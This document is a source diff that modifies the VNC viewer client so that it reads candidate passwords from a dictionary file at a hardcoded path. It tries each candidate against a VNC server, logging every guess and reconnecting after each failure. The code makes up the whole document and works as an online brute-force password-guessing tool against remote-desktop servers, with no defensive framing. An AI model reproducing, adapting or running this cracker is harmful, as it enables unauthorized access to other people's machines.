diff -Nrub ./rfbproto.c /usr/ports/net/vnc/work/vnc_unixsrc/vncviewer/rfbproto.c --- ./rfbproto.c Thu Aug 12 13:07:48 1999 +++ /usr/ports/net/vnc/work/vnc_unixsrc/vncviewer/rfbproto.c Mon May 22 20:33:58 2000 @@ -59,7 +59,7 @@ * ConnectToRFBServer. */ -Bool +int ConnectToRFBServer(const char *hostname, int port) { unsigned int host; @@ -76,7 +76,11 @@ return False; } - return SetNonBlocking(rfbsock); + if (! SetNonBlocking(rfbsock) ) { + fprintf(stderr,"Unable to set socket in non-blocking mode\n"); + + } + return (rfbsock); } @@ -157,7 +161,13 @@ } else if (appData.passwordDialog) { passwd = DoPasswordDialog(); } else { - passwd = getpass("Password: "); + /* passwd = getpass("Password: "); */ + if ( fscanf(words,"%s",word)) { + passwd=word; + fprintf(stderr,"Trying password '%s'\n",passwd); + } else { + fprintf(stderr,"No more words."); + } } if ((!passwd) || (strlen(passwd) == 0)) { diff -Nrub ./vncviewer.c /usr/ports/net/vnc/work/vnc_unixsrc/vncviewer/vncviewer.c --- ./vncviewer.c Fri Sep 17 16:41:30 1999 +++ /usr/ports/net/vnc/work/vnc_unixsrc/vncviewer/vncviewer.c Mon May 22 22:59:10 2000 @@ -22,6 +22,8 @@ */ #include "vncviewer.h" +/* CHANGE THIS TO THE PATH TO YOUR DICTIONARY FILE */ +#define WORDS "/home/patrick/allwords2.txt" char *programName; XtAppContext appContext; @@ -29,12 +31,24 @@ Widget toplevel; +FILE *words; +char word[9]; +int geitewollesock; + + int main(int argc, char **argv) { int i; programName = argv[0]; + if (!(words = fopen(WORDS,"r"))) { + fprintf(stderr,"Unable to open wordlist %s\n",WORDS); + exit(1); + } + + + /* The -listen option is used to make us a daemon process which listens for incoming connections from servers, rather than actively connecting to a given server. We must test for this option before invoking any Xt @@ -73,12 +87,16 @@ given VNC server */ if (!listenSpecified) { - if (!ConnectToRFBServer(vncServerHost, vncServerPort)) exit(1); + if ((geitewollesock = ConnectToRFBServer(vncServerHost, vncServerPort))==-1) exit(1); } /* Initialise the VNC connection, including reading the password */ - - if (!InitialiseRFBConnection()) exit(1); + while (! InitialiseRFBConnection()) { + close(geitewollesock); + if ((geitewollesock = ConnectToRFBServer(vncServerHost, vncServerPort))==-1) { + exit(1); + } + } /* Create the "popup" widget - this won't actually appear on the screen until some user-defined event causes the "ShowPopup" action to be invoked */ diff -Nrub ./vncviewer.h /usr/ports/net/vnc/work/vnc_unixsrc/vncviewer/vncviewer.h --- ./vncviewer.h Thu Aug 12 13:06:41 1999 +++ /usr/ports/net/vnc/work/vnc_unixsrc/vncviewer/vncviewer.h Mon May 22 20:03:07 2000 @@ -228,3 +228,6 @@ extern XtAppContext appContext; extern Display* dpy; extern Widget toplevel; + +extern FILE *words; +extern char word[9];